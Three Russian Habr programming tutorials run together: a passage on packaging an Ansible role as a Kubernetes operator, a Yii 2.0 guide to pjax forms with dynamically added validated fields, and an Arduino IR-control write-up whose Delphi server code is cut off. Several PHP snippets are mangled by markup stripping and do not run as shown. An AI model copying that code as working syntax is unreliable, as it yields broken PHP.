2. Из-за [разделения ответственностей](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BE%D1%82%D0%B2%D0%B5%D1%82%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8). Мы хотим, чтобы Ansible-роль Hello World управляла одноименным приложением в Kubernetes, а операционная (эксплуатационная) логика оставалась внутри оператора. В нашем примере операционная логика предельно проста: она просто вызывает роль djzager.hello\_world\_k8s при каждом создании или модификации custom-ресурса HelloWorld. Однако [в будущем](https://blog.openshift.com/reaching-for-the-stars-with-ansible-operator/#next-steps) это разделение станет более существенным, например, мы добавим валидацию в приложение Hello World через Ansible-роль, и реализуем управление статусом custom-ресурсов HelloWorld через логику оператора.
### Hello Kubernetes, встречай Ansible
#### Что нам понадобится
1. Ansible – см. [руководство по установке](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html), если у вас не установлен Ansible.
2. Python-клиент для OpenShift (опционально). Нужен только для локального запуска. Инструкции по установке [здесь](https://github.com/openshift/openshift-restclient-python#installation).
Приступим. Первым делом создаем скелет роли с помощью ansible-galaxy:
```
# I like clear names on projects.
# In meta/main.yml I will make role_name: hello-world-k8s
$ ansible-galaxy init ansible-role-hello-world-k8s
```
Сразу после создания новой Ansible-роли зададим все значения по умолчанию, чтобы заодно задокументировать ее допустимые параметры конфигурации. Тем более, наш пример Hello World не особенно сложен в этом плане. Вот как выглядит наш файл defaults/main.yml:
```
---
# NOTE: meta.name(space) comes from CR metadata when run with Ansible Operator
# deploy/crds has an example CR for reference
name: "{{ meta.name | default('hello-world') }}"
namespace: "{{ meta.namespace | default('hello-world') }}"
image: docker.io/ansibleplaybookbundle/hello-world:latest
# To uninstall from the cluster
# state: absent
state: present
# The size of the hello-world deployment
size: 1
```
Задав значения по умолчанию, надо определиться, что же будет делать роль. Приложение Hello World должно будет сделать следующее:
1. Получить информацию о доступных API в кластере.
2. Создать несколько шаблонов и убедиться, что они присутствуют или отсутствуют в кластере.
Поэтому наш файл tasks/main.yml выглядит так:
```
---
- name: "Get information about the cluster"
set_fact:
api_groups: "{{ lookup('k8s', cluster_info='api_groups') }}"
- name: 'Set hello-world objects state={{ state }}'
k8s:
state: '{{ state }}'
definition: "{{ lookup('template', item.name) | from_yaml }}"
when: item.api_exists | default(True)
loop:
- name: deployment.yml.j2
- name: service.yml.j2
- name: route.yml.j2
api_exists: "{{ True if 'route.openshift.io' in api_groups else False }}"
```
Прежде чем перейдем к шаблонам, обратите внимание вот на эту строку в файле задачи:
```
api_exists: "{{ True if 'route.openshift.io' in api_groups else False }}"
```
Используя set\_fact, мы получаем список всех доступных в кластере API, чтобы затем выборочно генерировать шаблоны в зависимости того, есть ли там нужный API — в данном случае, route.openshift.io. По умолчанию, в Kubernetes-кластере OpenShift маршруты (Routes) недоступны, и они нам не нужны, поэтому мы работаем с объектом Route, только когда в кластере есть route.openshift.io.
Мы можем не только выборочно управлять объектами в кластере в зависимости от наличия тех или иных API, но и с помощью шаблонов Jinja2 использовать OpenShift-овский DeploymentConfig в нашем шаблоне Deployment, если в кластере есть API apps.openshift.io. Вот как выглядит наш файл templates/deployment.yml.j2:
```
---
{% if 'apps.openshift.io' in api_groups %}
apiVersion: apps.openshift.io/v1
kind: DeploymentConfig
{% else %}
apiVersion: apps/v1
kind: Deployment
{% endif %}
metadata:
name: {{ name }}
namespace: {{ namespace }}
labels:
app: {{ name }}
service: {{ name }}
spec:
replicas: {{ size }}
{% if 'apps.openshift.io' in api_groups %}
selector:
app: {{ name }}
service: {{ name }}
{% else %}
selector:
matchLabels:
app: {{ name }}
service: {{ name }}
{% endif %}
template:
metadata:
labels:
app: {{ name }}
service: {{ name }}
spec:
containers:
- image: {{ image }}
name: hello-world
ports:
- containerPort: 8080
protocol: TCP
```
Файл templates/service.yml.j2:
```
---
apiVersion: v1
kind: Service
metadata:
name: {{ name }}
namespace: {{ namespace }}
labels:
app: {{ name }}
service: {{ name }}
spec:
ports:
- name: web
port: 8080
protocol: TCP
targetPort: 8080
selector:
app: {{ name }}
service: {{ name }}
```
И, наконец, файл templates/route.yml.j2:
```
---
apiVersion: route.openshift.io/v1
kind: Route
metadata:
name: {{ name }}
namespace: {{ namespace }}
labels:
app: {{ name }}
service: {{ name }}
spec:
port:
targetPort: web
to:
kind: Service
name: {{ name }}
```
Мы опустили файл meta/main.yml, но его можно найти [здесь](https://github.com/djzager/ansible-role-hello-world-k8s/blob/ao-galaxy-blog/meta/main.yml).
В итоге, у нас есть Ansible-роль, управляющая приложением Hello World в Kubernetes, и мы можем использовать имеющиеся в кластере API. Иначе говоря, модуль k8s и динамический клиент упрощают работу с объектами в Kubernetes. Надеемся, что на примере этой роли мы смогли показать потенциал Ansible при работе с Kubernetes.
### Hello Galaxy, встречай Kubernetes
В Ansible Galaxy есть масса ролей для настройки серверов и управления приложениями, а вот ролей для управления Kubernetes-приложениями не так уж много, так что мы внесем свой небольшой вклад.
После того, как мы выложили нашу роль на [GitHub](https://github.com/djzager/ansible-role-hello-world-k8s/), осталось только:
1. Войти в Ansible Galaxy, чтобы дать доступ к нашим репозиториям на GitHub.
2. Импортировать нашу роль.
Все, теперь наша роль hello\_world\_k8s публично доступна в Ansible Galaxy, вот [здесь](https://galaxy.ansible.com/djzager/hello_world_k8s).
### Hello Ansible Operator, встречай Galaxy
Если внимательно изучить наш [проект Hello World на GitHub](https://github.com/djzager/ansible-role-hello-world-k8s/), то можно заметить, что мы добавили туда несколько вещей, необходимых для создания Ansible-оператора, а именно:
1. [Watches-файл](https://github.com/djzager/ansible-role-hello-world-k8s/blob/ao-galaxy-blog/watches.yaml), обеспечивающий сопоставление [custom-ресурсов](https://kubernetes.io/docs/concepts/api-extension/custom-resources/) Kubernetes с ролями или плейбуками Ansible.
2. [Dockerfile](https://github.com/djzager/ansible-role-hello-world-k8s/blob/ao-galaxy-blog/build/Dockerfile) для сборки нашего оператора.
3. [Deploy-каталог](https://github.com/djzager/ansible-role-hello-world-k8s/tree/ao-galaxy-blog/deploy) с Kubernetes-объектами, необходимыми для запуска нашего оператора.
Если вам нужно узнать больше о том, как собирать свои собственные Ansible-операторы, воспользуйтесь [Руководством пользователя](https://github.com/operator-framework/operator-sdk/blob/master/doc/ansible/user-guide.md). Но поскольку мы обещали собрать Ansible-оператор, используя опубликованную в Ansible Galaxy роль, то все, что нам **действительно** нужно – это Dockerfile:
```
FROM quay.io/operator-framework/ansible-operator
RUN ansible-galaxy install djzager.hello_world_k8s
RUN echo $'--- \n\
- version: v1alpha1\n\
group: examples.djzager.io\n\
kind: HelloWorld\n\
role: /opt/ansible/roles/djzager.hello_world_k8s' > ${HOME}/watches.yaml
```
Теперь собираем оператор:
```
$ docker build -t hello-world-operator -f Dockerfile .
Sending build context to Docker daemon 157.2 kB
Step 1/3 : FROM quay.io/operator-framework/ansible-operator
latest: Pulling from operator-framework/ansible-operator
Digest: sha256:1156066a05fb1e1dd5d4286085518e5ce15acabfff10a8145eef8da088475db3
Status: Downloaded newer image for quay.io/water-hole/ansible-operator:latest
---> 39cc1d19649d
Step 2/3 : RUN ansible-galaxy install djzager.hello_world_k8s
---> Running in 83ba8c21f233
- downloading role 'hello_world_k8s', owned by djzager
- downloading role from https://github.com/djzager/ansible-role-hello-world-k8s/archive/master.tar.gz
- extracting djzager.hello_world_k8s to /opt/ansible/roles/djzager.hello_world_k8s
- djzager.hello_world_k8s (master) was installed successfully
Removing intermediate container 83ba8c21f233
---> 2f303b45576c
Step 3/3 : RUN echo $'--- \n- version: v1alpha1\n group: examples.djzager.io\n kind: HelloWorld\n role: /opt/ansible/roles/djzager.hello_world_k8s' > ${HOME}/watches.yaml
---> Running in cced495a9cb4
Removing intermediate container cced495a9cb4
---> 5827bc3c1ca3
Successfully built 5827bc3c1ca3
Successfully tagged hello-world-operator:latest
```
Понятно, что для **использования** этого оператора, понадобится содержимое [каталога deploy](https://github.com/djzager/ansible-role-hello-world-k8s/tree/ao-galaxy-blog/deploy) из нашего проекта, чтобы создать Service Account, Role и Role Binding, Custom Resource Definition, а также, чтобы развернуть сам оператор. А после развертывания оператора, надо будет создать Custom Resource, чтобы получить экземпляр приложения Hello World:
```
apiVersion: examples.djzager.io/v1alpha1
kind: HelloWorld
metadata:
name: example-helloworld
namespace: default
spec:
size: 3
```
### Области действия оператора: пространство имен и кластер
Чуть выше мы уже предлагали изучить наш [каталог deploy](https://github.com/djzager/ansible-role-hello-world-k8s/tree/ao-galaxy-blog/deploy) и поискать там Kubernetes-объекты, необходимые для запуска оператора. Там есть три вещи, которые ограничивают область действия оператора при управлении custom-ресурсами пространством имен, в котором развернут сам оператор, а именно:
1. Переменная среды WATCH\_NAMESPACE в файле [operator.yaml](https://github.com/djzager/ansible-role-hello-world-k8s/blob/ao-galaxy-blog/deploy/operator.yaml#L25-L28), которая говорит оператору, где искать custom-ресурсы
2. [role.yaml](https://github.com/djzager/ansible-role-hello-world-k8s/blob/ao-galaxy-blog/deploy/role.yaml#L2)
3. [role\_binding](https://github.com/djzager/ansible-role-hello-world-k8s/blob/ao-galaxy-blog/deploy/role_binding.yaml#L1)
Такое ограничение, безусловно, полезно при разработке операторов. Но если мы хотели бы, чтобы наше приложение было доступно всем пользователям кластера, понадобилась бы помощь администратора. Пришлось бы сделать следующее:
1. Создать ClusterRole вместо Role.
2. Создать оператор ServiceAccount в том пространстве имен, где будет развернут оператор.
3. Создать ClusterRoleBinding, который свяжет ServiceAccount из конкретного пространства имен с ClusterRole.
4. Развернуть оператор с незаданной переменной среды WATCH\_NAMESPACE (т.е. "").
Если проделать все эти вещи, то остальные пользователи кластера смогут развертывать экземпляры нашего приложения Hello World. Если вас заинтересовал эта тема, советуем изучить [Operator Lifecycle Manager](https://github.com/operator-framework/operator-lifecycle-manager/) (входит в состав Operator Framework).
### Звездный путь
Мы показали, как создать Ansible-роль для управления приложением в Kubernetes, опубликовать эту роль в Ansible Galaxy и использовать ее в Ansible-операторе. Надеемся, что теперь вы:
1. Будете пользоваться [Ansible-модулем k8s](https://docs.ansible.com/ansible/latest/modules/k8s_module.html).
2. Начнете публиковать в [Ansible Galaxy](https://galaxy.ansible.com/) свои роли для управления Kubernetes-приложениями.
3. Заинтересуетесь [Operator SDK](https://github.com/operator-framework/operator-sdk) и подпишетесь на [нашу рассылку Operator Framework](https://groups.google.com/forum/#!forum/operator-framework).
Наше приложение Hello World намеренно сделано предельно простым, однако есть вещи, которые помогут сделать более надежным даже его, и вот какие:
1. Использование [Operator SDK](https://github.com/operator-framework/operator-sdk/) – мы намеренно не делали этого в нашем примере, чтобы подчеркнуть, как легко перейти от Ansible-роли к оператору. Но лучше все же использовать эту роль с SDK (то есть, operator-sdk new), к тому же, это может понадобиться на последующих шагах.
2. Валидация – в нашем текущем варианте пользователь может создать CR с размером: abc, что неизбежно повлечет ошибку на этапе развертывания. Так что ошибки лучше отлавливать на этапе спецификации, а не после того, как начнется работа.
3. Жизненный цикл – в более сложных примерах это может быть то же обновление версий. В сценариях вроде нашего, где есть только одна версия приложения Hello World, мы могли бы определять, устарел ли образ работающего контейнера, сравнивая его с доступными образами в соответствующем реестре контейнеров, и при необходимости обновлять запущенные экземпляры.
4. Тестирование – при разработке и тестировании Ansible-ролей очень пригодится [Molecule](https://github.com/ansible/molecule).
5. [Operator Lifecycle Manager](https://github.com/operator-framework/operator-lifecycle-manager/) – это набор инструментов для управления операторами. Интеграция с ним поможет выполнять установку и обновление нашего оператора.
6. Статус – мы могли бы активировать status subresource в нашем Hello World CRD и использовать модуль k8s\_status, входящий в состав образа Ansible Operator, чтобы включать информацию о состоянии в custom-ресурс. | https://habr.com/ru/post/440188/ | null | ru | null |
# Yii 2.0: Динамическое добавление валидируемых полей формы через «пиджак»(pjax) для мульти-модельной формы
Доброго времени суток, Хабр!
Не так давно передо мной встала задача разработки формы с возможностью динамического добавления полей, каждое поле являлось отдельной сущностью базы данных, то есть поле = запись в базе данных. Не смотря на то, что моя задача была не тривиальна, каждый вполне может столкнутся с чем-то подобным в той или иной мере. Например, с добавлением нового элемента прямо внутри GridView с последующим редактированием и сохранением.
Итак, начнем.
#### Лирическое отступление
Во время разработки данного решения я перерыл весь интернет и не нашел ни одного стоящего рецепта ни на англоязычных форумах, ни на SO ни на GitHub. Более того, к тому времени еще не была готова поддержка валидации динамических полей со стороны Yii. Более подробно [тут](http://habrahabr.ru/post/238447/). Да и сейчас, как мне кажется, она мне не подходит.
Само решение никак не претендует быть сверх-элегантным, по этому любой конструктив, критику, а также советы я с удовольствием выслушаю.
#### Начальная настройка
В первую очередь нам необходима модель, которая способна получить множество записей из одной или нескольких таблиц. В моем случае мне хватило отношения hasMany. Таким образом, массив моделей всех адресов мы можем получить следующим образом:
```
$addresses = $model->addresses;
```
Ради примера можно представить что у нас есть view для пользователя, которая хочет отобразить список адресов с возможностью редактирования каждого, а также добавления нового адреса (сущности взяты с потолка).
Подготавливаем саму форму (будем считать что контроллер отдает только $model как модель пользователя):
```
php
use yii\widgets\ActiveForm;
use yii\helpers\Url;
use yii\helpers\Html;
?
php $form = ActiveForm::begin([
'action' = Url::toRoute(['addresses/update', 'userId' => $model->id]),
'options' => [
'data-pjax' => '1'
],
'id' => 'adressesUpdateForm'
]); ?>
php foreach ($model-adresses as $key => $address): ?>
= $form-field($address, "[$key]name") ?>
= $form-field($address, "[$key]value") ?>
php endforeach ?
= Html::submitButton('Сохранить', ['class' = 'btn btn-primary']) ?>
php ActiveForm::end(); ?
```
Форма готова. В коде выше мы сперва подключаем необходимые классы — виджет ActiveForm и два хелпера.
Далее создаем ActiveForm со следующими параметрами:
* action — понятно, отсылает форму на определенный action контроллера addresses с параметром userId. (параметр нам пригодится позже)
* массив options с единственным значением data-pjax, который активирует работу «пиджака» для конкретной формы (для ссылок активация не требуется, а вот формы надо указывать).
* и id формы — если не задать id формы и при этом иметь на странице много виджетов или несколько ActiveForm, то после отработки сервером, pjax вернет нам форму с id w0, и идентификаторы могут пересечься с другими формами на странице, что нам совершенно не нужно.
После создания формы запускаем цикл по адресам, я использовал геттер напрямую, и не стоит боятся, что при каждой итерации будет происходить запрос к базе, Yii сохраняет все relation запросы в приватном массиве relations. Далее выводим name и value из таблицы (или любые другие поля и более сложную разметку.)
Нетерпеливый читатель, наверное, спросит: «А как же кнопка добавления нового адреса?» — не спешите, все по порядку.
Основные заготовки есть, давайте подключим view файл как внутренний view файл к комплексному view пользователя.
Предположим, у нас есть страница профиля пользователя, а адреса отображаются сразу под ним, добавим view адресов и заодно «одеваем в пиджак»:
```
php
use yii\widgets\Pjax;
?
= $this-render('_profile', ['model' => $model]) ?>
php Pjax::begin(['enablePushState' = false]); ?>
= $this-render('_addresses', ['model' => $model]) ?>
php Pjax::end(); ?
```
Обращаю Ваше внимание на параметр enablePushState, без него мы получим изменение адреса в адресной строке браузера. Нам это не нужно, потому что вся работа контроллера будет проходить через renderAjax, и полноценных view вместе с layout в этой части у нас не будет.
#### Контроллер
Я специально выделил контроллер отдельной главой.
Давайте сперва подумаем как он будет работать. С виду все просто. Получаем запрос на action update с информацией об id пользователя, затем обновляем модель и отдаем renderAjax('\_addresses', ['model' => $user]); В свою очередь, $user мы получаем через User::findOne($userId), который заботливо передали вместе с формой.
Однако на деле все немного сложнее:
1. У нас не одна модель а несколько
2. Нам нужна пакетная загрузка
3. Нужна пакетная валидация
Итак, поехали:
```
php
namespace backend\controllers;
use Yii;
use common\models\User;
use common\models\Addresses;
use yii\base\Model;
use yii\filters\AccessControl;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
/**
* Addresses controller
*/
class AddressesController extends Controller
{
}
</code
```
Так будет выглядеть класс контроллера без методов.
Добавляем пакетную загрузку как метод контроллера (можно обойтись и методом модели, но мне показалось так более правильно, к тому же в моем примере мне было необходимо сохранять не только модели, но и связь с таблицей user посредством link()):
```
/**
* Update all addresses
* @param Model $items
* @return nothing
*/
protected function batchUpdate($items)
{
if (Model::loadMultiple($items, Yii::$app->request->post()) &&
Model::validateMultiple($items)) {
foreach ($items as $key => $item) {
$item->save();
}
}
}
```
Можем улучшить метод возвращая true или количество обновленных записей в случае удачи и false в случае отсутствия данных для обновления. Мне это было не нужно.
Добавляем два метода для поиска моделей. Первый для User, второй для Address (я только сейчас подумал, можно было бы обернуть эти два метода в один):
```
/**
* Finds the Addresses model based on its primary key value.
* If the model is not found, a 404 HTTP exception will be thrown.
* @param integer $id
* @return Addresses the loaded model
* @throws NotFoundHttpException if the model cannot be found
*/
protected function findModel($id)
{
if (($model = Addresses::findOne($id)) !== null) {
return $model;
} else {
throw new NotFoundHttpException('The requested page does not exist.');
}
}
/**
* Finds the User model based on its primary key value.
* If the model is not found, a 404 HTTP exception will be thrown.
* @param integer $id
* @return User the loaded model
* @throws NotFoundHttpException if the model cannot be found
*/
protected function findUser($id)
{
if (($model = User::findOne($id)) !== null) {
return $model;
} else {
throw new NotFoundHttpException('The requested page does not exist.');
}
}
```
И, наконец, пишем наш action:
```
public function actionUpdate($userId)
{
$user = $this->findUser($userId);
$this->batchUpdate($user->addresses);
return $this->renderAjax('_addresses', ['model' => $user]);
}
```
Не забудьте добавить access control.
```
/**
* @inheritdoc
*/
public function behaviors()
{
return [
'access' => [
'class' => AccessControl::className(),
'rules' => [
[
'actions' => ['create', 'update', 'delete'],
'allow' => true,
'roles' => ['@'],
],
],
]
];
}
```
В методе выше я поспешил и сразу показал методы create и delete. Их еще нет, но заранее добавить в access control два метода лучше, чем потом ловить exception о запрещенном доступе.
Ну что, теперь у нас есть отличная форма, которая обновляет посредством pjax данные по всем адресам. В обычном случае мы бы могли добавить в форму кнопку «добавить» и «удалить» и отсылать запрос на определенный action, а в случае с «добавить» — еще и отдельную view.
#### Динамические поля с валидацией
Вот и добрались до самого главного.
Простое добавление новой сущности сводится к следующим действиям:
* Добавляем во view кнопку которая ведет на action — addresses/create
* Добавляем функцию создания fake записи в базе данных.
* Добавляем action
* Отображаем view через ajax.
Создание fake записи делаем через метод модели addOne()
```
public function addOne()
{
$this->name = self::DEFAULT_NAME;
$this->value = self::DEFAULT_VALUE;
}
```
Не забудьте создать константы в классе модели.
Action в контроллере будет выглядеть так:
```
/**
* action call by AJAX to create new fake address
* @param integer $userId
* @return mixed
*/
public function actionCreate($userId)
{
$user = $this->findUser($userId);
$model = new Addresses;
$model->addOne();
$user->link('addresses', $model); // link сохраняет в базу данных без валидации, будьте осторожны
return $this->renderAjax('_addresses', ['model' => $user]);
}
```
Кнопка добавления записи во view внутри pjax, но вне цикла:
```
= Html::a('Добавить адрес', Url::toRoute(['addresses/create', 'userId' = $model->id]), [
'class' => 'btn btn-success',
]) ?>
```
Собственно, все. Теперь при нажатии на кнопку «Добавить адрес» в базе данных будет создаваться fake запись с начальными данными, а view будет рендериться заново вместе с новыми правилами валидации.
Можно улучшить эту часть кода добавлением правила валидации о том, что значения не должны быть эквивалентны дефолтным. Так как метод link сохраняет без валидации, это вполне реализуемо, а для остальных могу посоветовать save(false) — false отключает валидацию при сохранении модели.
Давайте сделаем тоже самое для кнопки удалить, в итоге наша view будет выглядеть внутри цикла вот так:
```
= $form-field($address, "[$key]name") ?>
= $form-field($address, "[$key]value") ?>
= Html::a('Удалить', Url::toRoute(['addresses/delete', 'id' = $address->id]), [
'class' => 'btn btn-danger',
]) ?>
```
и action контроллера:
```
public function actionDelete($id)
{
$model = $this->findModel($id);
$user = $model->user;
$model->delete();
return $this->renderAjax('_addresses', ['model' => $user]);
}
```
#### А как же измененные значения и UX?
Все верно. Для стандартной ситуации описанного выше функционала хватит, однако пользователь привык к тому, что при динамическом добавлении поля ему не нужно заботиться о сохранении данных перед этим. В итоге пользователь может заполнить 5 полей, поймет что ему не хватило, добавит 6-ое… и все. Прощайте 5 минут жизни для пользователя, прощай пользователь для нашего ресурса.
Единственное, что я смог придумать в этой ситуации, это сохранять форму каждый раз, когда пользователь жмет на кнопку (не важно, на какую).
Что мне для этого понадобилось:
* Добавить batchUpdate в action'ы create и delete прямо перед return $this->renderAjax(...)
* Написать простенький скрипт, который меняет action формы в зависимости от нажатой кнопки, а потом сабмитит ее.
Сперва скрипит:
```
$(function(){
$(document).on('click', '[data-toggle=reroute]', function(e) {
e.preventDefault();
var $this = $(this);
var data = $this.data();
var action = data.action;
var $form = $this.closest('form');
if ($form && action) {
$form.attr('action', action).submit();
} else {
alert('Ошибка! Пожалуйста, сообщите администрации.');
}
});
});
```
Простой сниппет кода, который занял у меня от силы 1 минуту. Ссылка или элемент с атрибутом data-toggle=reroute попадает в обработчик, и ближайшая к нему форма (среди родителей, естественно) меняет свой action на тот, что хранится в data-action, а после этого сабмитится. В случае неверной настройки обработчика со стороны html шаблона вылетает alert.
Осталось изменить наши кнопки в представлении следующим образом:
```
= Html::a('Добавить адрес', null, [
'class' = 'btn btn-success',
'data' => [
'toggle' => 'reroute',
'action' => Url::toRoute(['addresses/create', 'userId' => $model->id])
]
]) ?>
= Html::a('Удалить', null, [
'class' = 'btn btn-danger',
'data' => [
'toggle' => 'reroute',
'action' => Url::toRoute(['addresses/delete', 'id' => $variable->id])
]
]) ?>
```
#### Что можно улучшить
Как всегда есть к чему стремиться.
* Для начала можно оптимизировать пакетную загрузку (если она, конечно, не оптимизирована на уровне ядра, чему я не нашел подтверждение) таким образом, что не измененные записи не будут сохранятся в базу данных. Для этого достаточно сравнить oldAttributes и attributes конкретной модели в методе модели beforeSave(). В противном случае, если такая проверка не происходит на уровне фреймворка, sql сервер будет удивлен повторным записям с одними и теми же значениями.
* Далее можно обернуть методы поиска модели в контроллере в один единственный метод findModel($classname, $params)
* И, как я уже говорил, создать правило валидации на несоответствие полей модели ее константам с дефолтными значениями.
Буду рад, если кто-то подскажет улучшения или исправления данного рецепта. Всем добра!
**Полезные ссылки**[demos.krajee.com/builder-details/tabular-form](http://demos.krajee.com/builder-details/tabular-form) — нечто похожее, но очень монструозное и сделано для GridView. К тому же, там нет сохранения полей при удалении / добавлении новых
[www.yiiframework.com/wiki/666/handling-tabular-data-loading-and-validation-in-yii-2](http://www.yiiframework.com/wiki/666/handling-tabular-data-loading-and-validation-in-yii-2/) — не плохая демка от того же автора, которая послужила примером пакетной загрузки. | https://habr.com/ru/post/239147/ | null | ru | null |
# Arduino: ИК-управление бытовой техникой (применение девайса)
Задравствуй хабр! По отзывам понял, что в статье [«Arduino: ИК-управление бытовой техникой»](http://habrahabr.ru/post/215521/) мало посвятил конечной цели устройства и как его применять на практике, по-этому займусь этим сейчас.
Назначение нашего arduino-девайса обеспечить управление набором устройств, управляемых по ИК-каналу. На следующем рисунке изображен пример того как можно использовать данный девайс, сейчас пока ко мне не приехал Ethernet Shield опишу на примере USB соединения с сервером.
Сразу скажу, что рисунок был сделан специально для пояснения возможностей устройства, дома у меня все гораздо проще, ибо управление происходит только телевизором, а качестве источника использую свой ПК он же сервер, как на втором рисунке.
Предположим, у нас две комнаты и в каждой находятся устройства, а их марки и модели совпадают, соответственно наборы команд для телевизора, DVD-проигрывателя и спутникового ресивера в комнатах совпадают. Исходя из этого можно сделать вывод о необходимости использовать для каждого устройства свой выход Arduino.
*В комментариях [Alexeyslav](https://habrahabr.ru/users/alexeyslav/) предлагал мне использовать демультиплексор для этих целей, под предлогом упрощения программной части, я так понял, что имелось ввиду использование библиотеки IRRemote. Я не против демультиплексора, мне не нравится именно заточенность IRRemote на 3 вывод, к слову сказать, никто не запрещает использовать демультиплексор и с моим модулем.*
Что касается меня, то у меня нет необходимости в нескольких портах, внимание на рисунок:
Излучающие диоды я использовал от компании Global Cache, диод в корпусе, как на рисунке ниже.
Удобно тем, что излучатель можно приклеить прямо на оборудование в область ик-приемника и тем самым гарантировать, что управление будет стабильным и только тем устройством, которым мы хотим управлять (в случае если рядом находится более одного устройства реагирующего на посланную команду).
Когда писал серверную часть, сильно морочиться не хотелось, поэтому было решено набросать на Delphi маленький и тупенький web-сервер со встроенным «монитором порта» (для передачи данных на arduino по виртуальному Com-порту), для этого использовались Indy idHTTPSever и CPort компоненты.
На стороне сервера находится страничка index.html с файлами для нее (CSS, JS, графика и т. д.) и файл codes.txt в котором хранятся, коды для управления оборудованием. Коды можно хранить в двух форматах HEX и GlobalCache.
В формате HEX, есть правило начинать команду с идентификатора 0000, мы будем считать это местом для манипуляции с количеством повторов кода и портом на который его необходимо послать.
Количество повторов — это первые два символа переведенные из шестнадцатеричной в десятичную СС + 1
**т. е.** 00 = 0 + 1 = 1 или 0A = 10 + 1 = 11;
Адрес порта — это вторые два символа в которых просто скрыт номер порта arduino,
**например:** 00 = digital port 0 или 0D = digital port 13;
Остальные данные HEX кода изменять нет необходимости, оставляем как есть.
Для кодов в GlobalCache-формате с этим чуть сложнее, сам формат выглядит так:
`sendir,{moduleaddress}:{connectoraddress},{ID},{frequency},{count},{offset},{on1},{off1}...`
Где:
* {moduleaddress}:{connectoraddress} — именно это и должно являться номером цифрового порта на ардуино, для совместимости с устройствами GlobalCahce было решено пересчитывать эту пару значений в номер порта ардуино, это можно сделать по формуле:
**ArduinoPort = ({moduleaddress} \* 3)-(3-{connectoraddress})-1;**
**Например:** 5:2 = (5\*3)-(3-2)-1 = (15)-(1)-1 = digital port 13;
* {ID} — Я игнорирую;
* {frequency} — Частота в Гц;
* {count} — Количество повторов (1-255);
* {offset} — Опять игнорирую;
* {on} и {off} — Это данные.
Я использую преимущественно HEX-формат, но стоит заметить, что коды в формате GlabalCache короче почти в 2 раза и соответственно в 2 раза быстрее парсятся.
Каждая команда должна находиться строго на отдельной строке, номер строки в файле используется в качестве указателя на конкретный код, у меня для удобства коды начинаются с цифр т.к. строки в файле номеруются с нуля, таким образом получается строка №0 — это код кнопки 0.
**Привожу в пример часть файла codes.txt с командами к своему Philips 47PLF4007:**
```
000D 0073 002A 000D 0061 0021 0010 0020 0010 0010 0010 0010 0030 0030 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0BDE 0061 0021 0010 0020 0010 0010 0010 0010 0030 0030 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0021//digit 0
000D 0073 002A 000D 0061 0021 0010 0020 0010 0010 0010 0010 0010 0020 0020 000F 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0020 0BED 0061 0021 0010 0020 0010 0010 0010 0010 0010 0020 0020 000F 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0020 0021//digit 1
000D 0073 0028 000D 0061 0021 0010 0020 0010 0010 0010 0010 0030 0030 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0020 001F 0010 0BDE 0061 0021 0010 0020 0010 0010 0010 0010 0030 0030 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0020 001F 0010 0021//digit 2
...
000D 0073 0024 000D 0061 0021 0010 0020 0010 0010 0010 0010 0030 0030 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0020 001F 0020 001F 0020 001F 0010 0010 0010 0BDE 0061 0021 0010 0020 0010 0010 0010 0010 0030 0030 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0020 001F 0020 001F 0020 0020 0010 0010 0010 0021//home
sendir,5:2,1,36000,1,1,97,31,16,30,16,16,16,16,16,30,32,14,16,16,16,16,16,16,16,16,16,16,16,16,16,16,32,14,16,30,16,16,32,14,16,30,16,16,16,720//list
000D 0073 002A 0000 0061 0021 0010 0020 0010 0010 0010 0010 0010 0020 0020 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0020 000F 0010 0010 0010 0010 0010 0BEE 0061 0021 0010 0020 0010 0010 0010 0010 0010 0020 0020 000F 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0010 0020 0010 0010 0010 0010 0010 0010 0021//info
...
```
Сервер (или типа того, смотри рисунок ниже) полностью построен на GET запросах и это надо учитывать при разработке HTML страницы. Суть такая, я запрашиваю у сервера файл, название которого начинается с нижнего подчеркивания, а дальше следует номер строки из файла codes.txt на которой находится команда.
Сервер видит, что запрашиваемый файл начинается с «\_», удаляет первый символ из названия и читает оставшееся число, далее отправляет устройству код находящийся на строке с номером этого числа.
```
procedure TForm1.srvCommandGet(AThread: TIdPeerThread;
ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
var
S,codeStr:String;
i:Cardinal;
begin
S:=ARequestInfo.Document;
Delete(S,1,1);
if S='' then S:=ExtractFilePath(ParamStr(0))+'webdata\index.html'
else begin
if (S[1]='_') then
begin
Delete(S,1,1);
codeStr:=SL.Strings[StrToInt(S)];
Delete(codeStr,pos('/',codeStr),255);
if ComPort1.Connected then
ComPort1.WriteStr(codeStr+#13);
S:='ok.js';
end;
S:=StringReplace(S,'/','\',[rfReplaceAll]);
S:=ExtractFilePath(ParamStr(0))+'webdata\'+S;
end;
try
